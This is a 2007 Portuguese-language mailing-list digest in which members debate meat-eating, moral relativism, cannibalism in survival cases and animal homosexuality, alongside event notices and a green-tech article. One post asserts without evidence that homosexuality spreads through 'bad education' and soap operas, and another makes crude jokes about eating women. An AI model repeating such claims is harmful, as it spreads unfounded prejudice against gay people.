>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
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>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
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>> destinatário, saiba que leitura, divulgação ou
>> cópia são proibidas.
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> O que há é pouca gente para dar por isso... "
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SUBJECT: P/ Ricardo - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 16:20

heheheh, filósofo nenhum busca verdade absoluta, só a religiao busca
isso. Um curso básico de filosofia acaba com isso

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu
>
> Eu compartilho de sua visão, Ricardo, e também penso que filosofos
que procuram verdades absolutas estão errados e não vão encontrar nada
nessa procura. Mas mesmo assim parecem existir algumas considerações
básicas, que, se não são imperativos éticos (melhor que morais)
absolutos, se adequam a uma universalidade, sejam por motivos
evolutivos e biológicos (objetivos), sejam por motivos egoistas ou
altruistas (subjetivos).




SUBJECT: Convites
FROM: "deise0109" <deise0109@bol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 16:25

Oi a todos e todas
Seguem abaixo convites.
Um abraço,
Deise Nascimento.
_________________________________________________________________
Fórum Municipal de Cultura de Campinas - F M C C
ESTAÇÃO CULTURA: Praça Marechal Floriano
Peixoto, s/no, Centro, 13013-120, Campinas/SP.
_________________________________________________________________
Edital de convocação
A Executiva do Fórum Municipal de Cultura de
Campinas (FMCC) convoca a comunidade cultural do município de
Campinas/SP, para a 9ª Assembléia Geral Ordinária a
realizar-se na Estação Cultura, à Praça Marechal
Floriano Peixoto, s/nº, Centro, Campinas/SP, no dia 24 de
fevereiro de 2007, Sábado, às 09h30, em primeira chamada,
ou às 10h00, em segunda chamada, com qualquer número de
participantes presentes, para deliberar sobre o seguinte:
Ordem-do-dia
Primeiro expediente: Inscrições ao FMCC, voz e voto.
I - Inscrições das pessoas jurídicas e
físicas de natureza cultural para comporem o Fórum
Municipal de Cultura de Campinas (FMCC).
II - A pessoa jurídica de natureza cultural
deverá apresentar e entregar no ato da inscrição:
a) Cópia dos Estatutos Sociais ou Contrato Social;
b) Cópias das atas da Assembléia Geral de
eleição e da posse da diretoria vigente, com os respectivos
registros em cartório;
c) Cópia do cartão do CNPJ com validade;
d) Indicação, por escrito, de 1 (um) membro
representante da entidade e de até 2 (dois) suplentes, com
curriculuns culturais dos mesmos.
e) Descrição, por escrito, de seus objetivos
institucionais e das ações que desenvolve.
IV - A pessoa física de natureza cultural deverá
apresentar e entregar no ato da inscrição:
a) Cópia do RG;
b) Cópia do CPF;
c) Cópia do registro profissional, se for o caso;
d) Curriculum cultural.
V - Na Assembléia Geral, a pessoa jurídica de
natureza cultural inscrita e aceita possuirá, por
intermédio de seu representante, direito à voz e voto.
VI - Na Assembléia Geral, a pessoa física de
natureza cultural inscrita e aceita possuirá somente direito
à voz.
Segundo expediente: Regimento Interno e eleições do FMCC.
I - Discussão e Informes sobre o Resultado do Edital
(FICC/2006). Critérios para remanejamento de verba excedente
do ano de 2006 para o ano de 2007 e apresentação de
propostas para redistribuição da verba para as áreas
temáticas, de acordo com orçamentos de proponentes.
Recebimento de indicação nomes e currículos de
pareceristas.
II - Indicações e eleições de nomes de 3
(três) titulares e 3 (três) suplentes para
composição do Conselho de Cultura de Campinas.
III - Discussão e Formalização de novas Câmaras
Temática Permanentes.
Terceiro expediente: Assuntos outros, Informes, Encerramento.

Deise Mara do Nascimento
Fórum Municipal de Cultura de Campinas
Presidente
Campinas/SP-Brasil, aos 12 de fevereiro de 2007.
___________________________________________________________________________
Assembléia da OSCIP Instituto Árvore da Vida
Dia: 18 de fevereiro de 2007, (Domingo).
Horário: 9:00 (primeira chamada); 9:30 (segunda chamada).
Horário de encerramento: 12:00.
Pauta:
- Informes
- Projetos para 2007
- Admissão de novos associados
- Parcerias
Local: Associação Cultural Elesbão
rua Manoel Antunes Novo, n.885. Na rua da Praça do Coco,
próximo à Vila São João. Bairro Barão
Geraldo, Campinas, S.P., Brasil.

Deise Nascimento
Presidente da OSCIP IAV
OSCIP Instituto Árvore da Vida
Preservação Ambiental e Inclusão Social


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 16:25

Não concordo.

Existem leis naturais universais válidos pra qualquer cultura, o amor
é uma delas, o ódio em qualquer cultura é prejudical, nos leva a matar
e cometer todos os tipos de atrocidades.
Se as leis da física valem em qualquer lugar da Terra, as leis morais
tb são válidas a qualquer cultura. Não podemos dar como normal o
linchamento de pessoas em determinadas culturas. Pelos direitos
humanos universais, todo mundo merece um julgamento digno. Enfim, é um
assunto muito discutível

Sds,Romano


--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Ricardo,
>
> Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião,
comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
tempo de estar elaborando perguntas e mais perguntas. Minha realidade
é minha realidade. A de outros, é a de outros. Que só depende do lugar
e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
que eu, civilizado como penso que sou, tivesse nascido em uma tribo
brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
perna, um... Se não fosse ela, seria eu. Bem, já almocei.
>
> Sds,
> Victor.




SUBJECT: P/ Ricardo - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 16:55

Olá Ricardo

Ricardo: "Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns filósofos
de uma ética universal, absoluta"

Eu compartilho de sua visão, Ricardo, e também penso que filosofos que procuram verdades absolutas estão errados e não vão encontrar nada nessa procura. Mas mesmo assim parecem existir algumas considerações básicas, que, se não são imperativos éticos (melhor que morais) absolutos, se adequam a uma universalidade, sejam por motivos evolutivos e biológicos (objetivos), sejam por motivos egoistas ou altruistas (subjetivos).

Um dos exercícios mentais mais interessantes, em minha opinião, para debater o conceito de "lei justa" foi proposto por um estudioso com estes parametros:

Imaginemos que almas ainda não nascidas (e não importa aqui se acreditamos em almas ou não, é apenas uma hipótese para permitir o raciocínio) estejam debatendo as condições do mundo em que irão viver. Só nascerão quando todos concordarem com as regras desse mundo. Mas, o mais importante, nenhuma das almas pode saber de antemão em que condições irá nascer. Se será homem, mulher, deficiente, normal, alto, baixo, branco, negro, esperto, estúpido, etc, etc, etc.

Se você não sabe em que condições irá estar no futuro, tende a ser menos tolerante com discriminações e danos que pode atingir a você em algum momento.

Dessa forma, o acordo final entre essas almas parecerá sempre ser a forma mais justa de lidar com as pessoas, já que terá abrandado toda e qualquer discrepância, benefício ou dano, que fazem parte da vida em comum e da vida neste universo. Por exemplo, sem saber se nascerá capaz ou com alguma deficiência, todas as almas concordarão que não se deve penalizar um deficiente, e que é preciso compensar essa deficiência, pois isso pode ser em seu benefício. Seria também mais difícil que uma alma concordasse com oprimir ou massacrar mulheres, pois poderia ela a nascer mulher e receber o peso dessas regras.

Pense em alguns casos concretos, a Nigéria e a Finlandia. Se você pudesse escolher onde nasceria, entre essas duas culturas, qual escolheria? Se pudesse escolher em que condições nasceria, bem, talvez escolhesse ser da casta dominante da Nigéria, com direitos absolutos sobre o resto dos habitantes, e a posse de toda riqueza do pais (e ir passear na Europa, e ter apartamento de férias em Monaco..:-). Mas, se não soubesse em que condições nasceria, a chance de nascer como oprimido (e muito otrpimido) no lugar de dominante, será enorme na Nigéria. A chance de morrer antes de ficar adulto, de ser torturado, de passar fome, de ter diversas doenças, etc, etc, é gigantescamente maior (milhões) do que a de ser um dirigente de posses (dezenas ou centenas).

Mas, se nascer na Finlandia, em qualquer condição, em qualquer faixa social, em qualquer condição de saúde, deficiente ou capaz, branco ou negro, homem ou mulher, etc, as chances de poder exercer suas capacidades, de receber tratamento médico, de ser saudável, de ter educação de qualidade, de ter familia e filhos, de exercer todo seu potencial, é muito maior.

Assim, mesmo sem absolutos, as leis e regras na Finlandia parecem ser mais "justas" que as leis e regras na Nigéria. Nascido na Finlandia, pode escolher como vai viver, e até mesmo escolher viver na Nigéria ou como na Nigéria, é seu direito (muitos médicos sem fronteiras vem da Finlandia para viver em paises africanos, em condições difíceis, para dizer o mínimo). Mas se nascer na Nigéria, dificilmente pode escolher viver como na Finlandia.

Me parece que leis justas são as que tem mais amplo alcance, aplicação mais extensa e menos discriminatória. Por isso é tão complicado a questão da pena de morte, pois a maioria dos que são a favor, sabem perfeitamente que não correm nenhum risco de ser objeto da mesma. Dessa forma, é bem mais fácil apoiar uma norma que não nos diz respeito, nem a nossos filhos e entes queridos. Mais difícil seria, por exemplo, apoiar pena de morte para, digamos, sonegação fiscal ou corrupção administrativa (que, em alguns casos, pode causar mais morte, dor e sofrimento que assassinatos). Nesses casos, o risco de nos atingir é bem maior, e as coisas mudam um pouco de figura.

Um abraço.

Homero



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SUBJECT: Re: [ciencialist] Qual o objetivo da discussão?
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 18:10



LECarvalho <lecarvalho@infolink.com.br> escreveu: At 10:17 12/2/2007, you wrote:

>Essa discussão infindável, agressiva e curcular sobre carne e
>vegetarianismo me fez lembrar uma frase do escritor russo Vassili
>Grossman:
>
>"Na discussão, Lênin não buscava a verdade, mas a vitória".
>
>[]'s
>Manuel Bulcão
>
>

O meu objetivo, Manu, é converter a todos para minha religião chamada Sensatez.










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SUBJECT: Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 18:28

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O meu objetivo, Manu, é converter a todos para minha religião chamada
> Sensatez.

Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo acha
que tem.

Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
prioritariamente em um incêndio?

[]s,

Roberto Takata



SUBJECT: Entre nessa dança e use sua força e energia para salvar a natureza
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 13/02/2007 18:35

Fonte: Vida Simples http://vidasimples.abril.uol.com.br/edicoes/050/08.shtml

Entre nessa dança

E use sua força e energia para salvar a natureza

por Priscilla Santos



Todos nós podemos gerar energia elétrica. E é melhor você assumir esse
fato, pois pode estar aí o futuro do nosso planeta. Pelo menos no que
depender de um grupo de holandeses que botaram na roda uma idéia que
pode dar samba (ou funk, hip hop, como preferir): uma danceteria
sustentável, que já funciona como um evento itinerante e deve virar
clube permanente em 2007 em Roterdã. O projeto inclui abastecimento
dos banheiros com água da chuva, paredes que mudam de cor numa reação
ao calor e turbinas de vento para arejar o terraço. No bar, cerveja
orgânica, claro. Mas o grande destaque da noite fi ca por conta da
pista de dança. Enquanto as pessoas sacolejam ao som de DJs, um
sistema sob o assoalho capta a energia gerada pelo movimento na pista
e a conduz até um gerador que a transforma em eletricidade, usada em
alguns equipamentos do clube. Um ganho e tanto, visto que, funcionando
três vezes por semana, uma casa noturna gasta por ano 150 vezes mais
energia elétrica que um lar. E pensar que tudo começou numa equação
básica que aprendemos nas aulas de física: energia mecânica gera
energia elétrica (a lógica que bota as turbinas das hidrelétricas para
funcionar). Ou mais: energia gera energia. A cada passo que damos,
deixamos energia para trás. Se você não consegue aproveitá-la, pode ao
menos usar braços e pernas para poupar a natureza: vá de escada em vez
de elevador, use espremedor de laranja manual e dispense a batedeira
elétrica para fazer claras em neve. Você poupa o bolso e o planeta.
Conheça sites e vídeos sobre a primeira danceteria sustentável do
mundo e saiba como participar do projeto



Conheça sites e vídeos sobre o clube e saiba como participar do
projeto, compartilhando conhecimento, experiências e idéias sobre
sustentabilidade.

Participe: Os idealizadores do primeiro clube noturno do mundo estão
interessados em inspirar novos empreendimentos do gênero em todo o
planeta. Por hora, pretendem exportar o conceito para Nova York,
Londres, Amsterdã e Merlbourne. O projeto tem um conceito "open
source", o que significa que seus criadores estão abertos aos
interessados que queiram participar da empreitada e compartilhar
conhecimento, idéias e experiências com sustentabilidade em:
www.sustainabledanceclub.com

Enviu - ONG focada em empreendimentos sustentáveis que, em parceria
com o escritório de arquitetura Döll - Atelier voor Bouwkunst, criou o
projeto para o clube sustentável: www.enviu.org

Döll - Atelier voor Bouwkunst: www.dollab.nl

The Critical Mass: em outubro de 2006, a festa de lançamento do
projeto reuniu cerca de 1.400 pessoas em Roterdam. Confira o site do
evento. A próxima festa The Critical Mass acontecerá agora em 2007.
Durante o evento, os idealizadores pretendem apresentar o primeiro
protótipo de pista de dança que gera energia e outras práticas e
protótipos do clube. www.enviu.org/cm/cm_index_site.html. Fotos:
www.beatfreax.com/event/7945/The_Critical_Mass/

Entenda como a energia das pessoas na pista de dança pode virar
energia elétrica no vídeo: www.youtube.com/watch?v=rzb3VFi3Sew


SUBJECT: Re: [ciencialist] Re: OFF Topic: a questão da carne, minha resposta
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 18:37

Esse assunto é controverso.
Na Europa, houve uma exposição com imagens de homosexualismo entre animais.
Talvez a clara tentativa de endossar o pensamento de que seja natural.
Estudamos apenas a relação das doenças transmitidas no ato sexual entre os animais não-humanos.
Em ovinos é comum homosexualismo entre machos.
Em vacas e porcas, é comum uma montar na outra, dessa forma se detecta o cio, ideal para IA depois..
Professores qdo questionados sobre esse tema afirmam que isso é questão hormonal.

Silvio <scordeiroes@superig.com.br> escreveu: Jitor:
Vs. endossou minhas palavras. obrigado.

silvio
----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 12, 2007 3:53 PM
Subject: Re: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta

Silvio: A homosexualidade entre animais é prática comum entre mamíferos (que eu saiba) e é apenas, ao que parece, uma atividade lúdica: é muito comum entre cavalos e cães.

Victor: Há alguns anos ví, numa SuperInteressante(verei se descubro qual, tenho que procurar), uma discussão do tema: homossexualismo entre animais. E o exemplo foi o de um leão, aquele bichão medonho, cara de mau, jubona imponente e tudo o mais. Estava por baixo, experimentando o outro bichão, que chega suava. Chega tava de oinho revirado e a linguinha pendendo!, o bicho de baixo... Não me pareceu tão lúdico não. Parece que ele era assim assim mesmo!. Está lá com foto e tudo, prá depois, se eles chiarem, você dizer: olhe aquí, mestre a prova documental.

Sds,
Victor.

----- Original Message -----
From: Silvio
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 12, 2007 1:01 PM
Subject: Re: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta

Bruna:
Há dias escrevi sobre isso.
A homosexualidade entre animais é prática comum entre mamíferos (que eu saiba) e é apenas, ao que parece, uma atividade lúdica: é muito comum entre cavalos e cães.
Entre os primatas de grande porte que vivem em grupos de diversas fêmeas e apenas um macho, é comum, quando esse macho começa a ficar valho, que os jovens, mais ousados, o enfrentem, querento ocupar o lugar dele. Entretanto o combate é quase sempre ritualístico, demonstração de força sem causar danos graves ao oponente que, para render-se, vira de costas e oferece a bunda para o vencedor, num ato de humilhação. E se retira de cena.
A prática do ato sexual entre animais também é vista entre fêmeas primatas que se masturbam e machos que tambem praticam o onanismo.
Ainda passarão muitos anos até que tenhamos um conhecimentoi mais profundo desses procedimentos pois só agora, estamos dando os primeiros passos no estudo da evolução dos seres vivos.
As teorias, quaisquer que sejam, são boas porquê forçam o pensamento e a pesquisa embora mesmo sobre o homosexualisto entre os humanos, ainda não haja uma interpretação definitiva.
E te conto um causo:
Aos 21 anos fui trabalhar na construção de uma enorme siderúrgica que tinha no canteiro de obras uns 3.000 homens e nenhuma mulher. Eu morava num alojamento onde era hábito o pessoal sair do quarto nu, apenas com a toalha no ombro, indo pro banho. Nos primeiros anos, onde o trabalho era pesado, JAMAIS houve um caso de pederastia que fosse do conhecimento do grupo. Veja: entre 3.000 indivíduos. Isso tem bons anos....
Se fosse hoje, pelo menos 20% (chuto) seriam homosexuais. E, minha cara, não é Freud que explica isso: grande parte cabe à má educação, à rede Globo e suas novelas, os hábitos da vida noturna que só começou após a revolução: antes, homem ia a bordel e não a festas have (?), hip-hoc e outras proliferações dos maus costumes.....

sds.,

silvio.
----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 08, 2007 9:28 PM
Subject: Re: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta

Silvio, e que objetivos tem a homosexualidade no reino dos animais
(humanos e não-humanos)?

Silvio <scordeiroes@superig.com.br> escreveu: Cinema é uma coisa, a realidade outra: não existe nenhuma realidade no cinema pois os interesses técnicos têm prioridade.
Todos os seres vivos têm apenas um objetivo: sua reprodução, sua expersão pelo mundo de forma que só obedeçam aos limites impostos pela própria natureza: exemplo: o homem.

sds.,.
silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 08, 2007 4:38 PM
Subject: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> NENHUM outro ser vivo tem a MENOR compaixão ou cuidado com a dor ou
> sobrevivência de outras espécies.

Misomenos. Tem um registro bastante interessante de um hipopótamo q
avança sobre um crocodilo q atacava um filhote de gazela (impala). O
crocodilo larga a presa. E o hipopótamo parece tentar ajudar a gazela a
ficar de pé (q morre ao final).

http://www.youtube.com/watch?v=ENWp0Q2RkTA

Meio difícil avaliar o q exatamente se passou pela cabeça do hipopótamo.

[]s,

Roberto Takata

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SUBJECT: O Dino, o Dodô e o Homo
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <Undisclosed-Recipient:;>
DATE: 13/02/2007 19:02


Há algum tempo atrás, no lançamento do livro 'O Ambientalista Cético', li o termo Eco-histeria ou algo assim. Achei exagero o termo na época... até agora.

Um relatório mundial sobre o meio ambiente, encabeçado por diversas organizações e instituições, alarmou o mundo; um Vice-Presidente que deveria ter sido o Presidente, assustou o mundo com um documentário sobre o aquecimento global; uma inundação ali ou uma nevasca acolá, faz com que as pessoas fiquem preocupadas com o futuro de seus filhos num meio ambiente que está mudando mas não preocupadas o suficiente para trocarem a Blazer que faz 3 Km/litro por um carro popular. (É pedir demais deles, não?) E então, de repente, estamos ecologicamente histéricos, com relatórios catastróficos que ninguém leu mas todo mundo comenta, com documentários que ninguém assistiu e com inundações em São Paulo ocasionadas por dois cuspes.

Esta histeria reflete-se na cidade em que vivo, num imbróglio judicial entre a empresa captadora e distribuidora de água potável para toda a RMC de Curitiba, o Instituto Ambiental do Paraná e prefeituras afetadas pela destruição de solo produtivo devido à extração de água do lençol freático. Estamos deixando de produzir carne (pecuária) e grãos (agricultura) porque precisamos de água. A curto prazo, indenizações podem atenuar esta situação, mas há previsões que se aumentarem a extração da água na região, além do aumento da perda de solo produtivo e início de um processo de arenização (deserto!!!), e com o consequente aumento populacional, vai haver muita gente sedenta na Rua das Flores e no Parque Barigui. (Vou me embora pra Pasárgada...). Pior ainda, indenizações e processos judiciais não fazem chover satisfatoriamente para que as represas normalizem seus níveis. Olhando os dados da distribuidora de água, podemos assumir que com uma estiagem haverá racionamentos mais prolongados do que passamos em 2006. Onde moro, já passei por mais de oito (8) dias sem água e isto só não é pior do que a fome ou uma doença incurável.

Talvez, muito talvez, eu esteja sendo histérico.

Mas aparentemente, 'estamos' histéricos, mas não preocupados, pois é lugar comum as pessoas ''varrerem'' suas calçadas com jatos de água nos bairros curitibanos. E por mais que você se esforce para colaborar na diminuição do impacto humano neste minúsculo planeta em que vivemos, há consequências das menores de nossas ações, como comer churrasco à base de carvão.

Você pode ter uma idéia das possíveis consequências imaginando se todos os habitantes fossem iguais a você. Isto mesmo, se todos fossem iguais a vocês, quantos planetas seriam necessários para sustentar o seu modo de vida? A enquete abaixo procura dar uma idéia disso:

http://ecofoot.org

Clique, no Mapa-Mundi, em cima do Brasil, selecione o idioma 'Português' e responda às questões. Para o meu modo de vida, seriam necessários quase quatro (04) planetas. (É muito Sandro pra incomodar). E é neste momento em que penso nos africanos... :-(

Nós seremos extintos, não há dúvida disso. Eu só espero não estar vivo quando isso acontecer.

Sandro Silva


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 19:18

Legião estrangeira?!
Papo no grupo que está se alistando no exército.
- Por que vc quer servir?, pergunta um cara casado de meia-idade para o
jovem solteiro ao lado.
- Estou querendo ação e emoção... E o senhor, por que quer servir?
- Estou em busca de paz...
........................................

From: "murilo filo" <avalanchedrive@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 9:17 PM
Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO


> Silvio:
> pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
> Sem marinha.
> Desistí de entrar na marinha p/encarar a legião estrangeira...
> Eu queria é confusão.
> Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
> sossegado! Me safei! :[
> E vc, é marinheiro?
> abr/M.
>
>
>>From: "Silvio" <scordeiroes@superig.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>>Date: Mon, 12 Feb 2007 16:28:01 -0300
>>
>>Murilo:
>>vs. é da marinha? (safo)
>>
>>silvio
>>
>> ----- Original Message -----
>> From: murilo filo
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Thursday, February 08, 2007 9:54 PM
>> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>>
>>
>>
>>
>> Eu também sabia... Estou safo!
>>
>> Atividade nos últimos dias
>> a.. 1Novos usuários
>> b.. 1Novas fotos
>> Visite seu Grupo
>> Yahoo! Mail
>> Conecte-se ao mundo
>>
>> Proteção anti-spam
>>
>> Muito mais espaço
>>
>> Yahoo! Barra
>> Instale grátis
>>
>> Buscar sites na web
>>
>> Checar seus e-mails .
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>> Yahoo! Grupos
>> Crie seu próprio grupo
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>> A melhor forma de comunicação
>>
>> .
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>> Version: 7.1.411 / Virus Database: 268.17.27/671 - Release Date:
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> 13:23
>
>



SUBJECT: Re: [ciencialist] P/ Chicao - Por que não comer seres humanos?
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 19:40

Chicão, querido

"Qualquer ser vivo contém nutrientes e calorias em potencial para se explorar."(ALCOCK, 1998)

Na prática vc não pode comer seres humanos porque isso é crime.

Meu pai deu para mim sua coleção de revistas Detetive, uma revista que foi editada até meados da década de 60.Era uma revista especializada na resolução de crimes ocorridos nos EEUU.Um dos crimes mais curioso foi cometido por uma senhora (algo tão incomum, mulheres assassinas?!), esta senhora costumava colocar anúncios no jornal se oferecendo para casamento e como morava numa fazenda, os interessados costumavam ir ao encontro dela e sumiam.
Ela costumava comercializar linguiças na cidade.
Obviamente, que bem temperado ninguém sabe a diferença.

Outro que se aventurou a comer carne humana foi o técnico de computação alemão, e a estranheza foi que a vítima, um engenheiro, também experimentou de sua própria carne.Jamais ele teria sido preso se não tivesse ousado a colocar outro anúncio procurando nova vítima.

Pela questão da sobrevivência temos o exemplo dos esportistas nos Andes,e ali num gesto extremo e sem alternativas, a carne foi crua e sem tempero curtida no sol, como mostraram num especial da People and Arts.

Pensar em comer carne humana pode gerar pudor, ojeriza e culpa na maioria das pessoas.Não existe diferenças significativas além das atentadas pelos especistas de plantão.Afinal, animais não-humanos como bovinos, porcos e aves também são animais gregários, também protegem suas crias e também conservam interesses individuais.E, por útlimo e mais importante também sofrem qdo verificam a morte, por isso, evitamos a visualização do abate no corredor de um animal pelo que vêm logo atrás, porém isso não adianta muito, eles contam com um olfato muito mais apurado que o ser humano e não são ignorantes, eles se revoltam muito, pulam e tentam fugir.Uma cena interessante de ser visualizada por quem é adepto de todas essas teorias de que humanos tem direito soberano porque humanos são seres especiais, nobres...
Isso só pode ser idéia de gente que acredita num Deus da Gênese que outorgou essa soberania...

Deve ser isso, ser humano é um ser nobre.

Amém!



Oraculo <oraculo@atibaia.com.br> escreveu: Olá Chicão

Chicão: "Por que nao posso fazer isso com um humano???
Minha pergunta é simples mas ninguem responde.
Por que será???"

Sua pergunta está longe, muito longe, de ser simples..:-) Ela é curta, certamente, mas simples, de jeito nenhum.

Mesmo assim é possível encontrar diferentes respostas, em diferentes níveis. Como toda pergunta falsamente simples, ela toca em aspectos diversos e permite diversas formas de ser analisada.

Por exemplo, podemos encontrar uma resposta simples, biológica, evolutiva: não podemos, ou não conseguimos, ou temos restrições a fazer isso com outro ser humano, porque você é um ser humano. Parece uma resposta tola, mas não é. Significa que, evolutivamente, espécies que não protegem, com alguma forma de restrição genético/comportamental, os individuos da compulsão em devorar seus iguais, não tem muito sucesso na luta pela sobrevivência.

Comer o parceiro pode ser bem mais simples que caçar. Ele está disponível, está próximo, tem o mesmo tamanho (ou pode escolher o menor do grupo), as mesmas armas, sem surpresas. Se decidir devorar os filhotes e fêmeas, sua vantagem a curto prazo será enorme, e poderá viver mais e com mais saúde que qualquer outro de sua espécie.

Mas, a médio e longo prazo, uma espécie que tivesse esse comportamento disseminado, ou não controlado, teria sérias dificuldades em se manter. Outro grupo, que não devorasse seus filhotes, seria superior em número rapidamente.

Portanto, uma resposta biológica seria, temos restrições, viscerais, a se alimentar de outros seres iguais a nós. Todo ser vivo, em condições iguais as nossas, tem.

É claro que existem exceções, mas respondem a circunstâncias diversas. De modo geral, canibalismo é raro, restrito ou excepcional em qualquer espécie, em especial, mamiferos.

Posso também vislumbrar uma resposta um pouco mais subjetiva, mas ainda egoísta e material: não acho justo comer outro ser humano, porque isso pode acontecer comigo, e não vou gostar. Decidir qual ser humano será devorado será sempre um risco, para mim. Além do aspecto egoísta, há ainda nossa natureza de espécie gregária, que evoluiu para "sentir" o outro, a dor do outro e o "ler" o pensamento do outro. Essa habilidade é fundamental para a sobrevivência de espécies gregárias. Dessa forma, ver alguém sendo "comido" pode provocar sentimentos bastante desconfortáveis.

É interessante notar que as culturas que devoravam seres humanos, como os Tupinambás, toda uma tradição de convencimento foi criada, e o canibalismo era mais um ritual de honra ao morto, de aquisição de poderes e forças ocultas (come-se a coxa de um grande corredor, para ficar mais rápido) e menos como complemento alimentar.

